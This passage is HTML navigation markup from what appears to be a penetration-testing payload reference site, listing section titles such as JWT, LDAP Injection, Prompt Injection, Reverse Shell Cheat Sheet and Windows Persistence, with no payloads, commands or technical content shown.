|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Randomness
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_28">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Insecure Randomness
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Randomness/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Randomness
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Source Code Management
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_29">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Insecure Source Code Management
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Source%20Code%20Management/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Source Code Management
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
JSON Web Token
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_30">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
JSON Web Token
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../JSON%20Web%20Token/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
JWT - JSON Web Token
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Java RMI
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_31_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_31">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Java RMI
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Java%20RMI/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Java RMI
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_32" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_32" id="__nav_32_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Kubernetes
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_32_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_32">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Kubernetes
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Kubernetes/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Kubernetes
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_33" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_33" id="__nav_33_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
LDAP Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_33_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_33">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
LDAP Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../LDAP%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
LDAP Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_34" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_34" id="__nav_34_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
LaTeX Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_34_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_34">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
LaTeX Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../LaTeX%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
LaTex Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_35" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_35" id="__nav_35_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Mass Assignment
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_35_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_35">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Mass Assignment
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Mass%20Assignment/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Mass Assignment
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_36" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_36" id="__nav_36_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Methodology and Resources
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_36_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_36">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Methodology and Resources
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Active%20Directory%20Attack/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Active Directory Attacks
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Bind%20Shell%20Cheatsheet/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Bind Shell
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Cloud - AWS
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Cloud - Azure
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Cobalt Strike
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Container%20-%20Docker%20Pentest/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Container - Docker
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Container%20-%20Kubernetes%20Pentest/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Container - Kubernetes
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Escape%20Breakout/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Application Escape and Breakout
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/HTML%20Smuggling/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
HTML Smuggling
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Hash%20Cracking/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Hash Cracking
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Initial%20Access/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Initial Access
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Linux%20-%20Evasion/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Linux - Evasion
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Linux%20-%20Persistence/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Linux - Persistence
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Linux - Privilege Escalation
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
MSSQL Server
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Metasploit
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Methodology%20and%20enumeration/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Bug Hunting Methodology and Enumeration
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Miscellaneous%20-%20Tricks/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Miscellaneous & Tricks
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Network%20Discovery/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Network Discovery
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Network%20Pivoting%20Techniques/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Network Pivoting Techniques
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Office%20-%20Attacks/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Office - Attacks
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Powershell%20-%20Cheatsheet/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Powershell
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Reverse Shell Cheat Sheet
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Source%20Code%20Management/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Source Code Management & CI/CD Compromise
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Subdomains%20Enumeration/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Subdomains Enumeration
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Vulnerability%20Reports/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Vulnerability Reports
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Windows - AMSI Bypass
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Windows - DPAPI
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Windows - Defenses
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Windows - Download and execute methods
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Windows - Mimikatz
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Windows - Persistence
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Windows - Privilege Escalation
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Windows - Using credentials
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_37" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_37" id="__nav_37_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
NoSQL Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_37_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_37">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
NoSQL Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../NoSQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
NoSQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_38" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_38" id="__nav_38_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
OAuth Misconfiguration
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_38">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
OAuth Misconfiguration
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../OAuth%20Misconfiguration/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
OAuth Misconfiguration
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_39" id="__nav_39_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Open Redirect
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_39">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Open Redirect
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Open%20Redirect/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Open URL Redirection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_40" id="__nav_40_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Prompt Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_40">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Prompt Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Prompt%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Prompt Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_41" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_41" id="__nav_41_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Prototype Pollution
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_41">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Prototype Pollution
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Prototype%20Pollution/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Prototype Pollution
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_42" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_42" id="__nav_42_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Race Condition
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_42">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Race Condition
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Race%20Condition/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Race Condition
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_43" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_43" id="__nav_43_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Request Smuggling
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_43_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_43">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
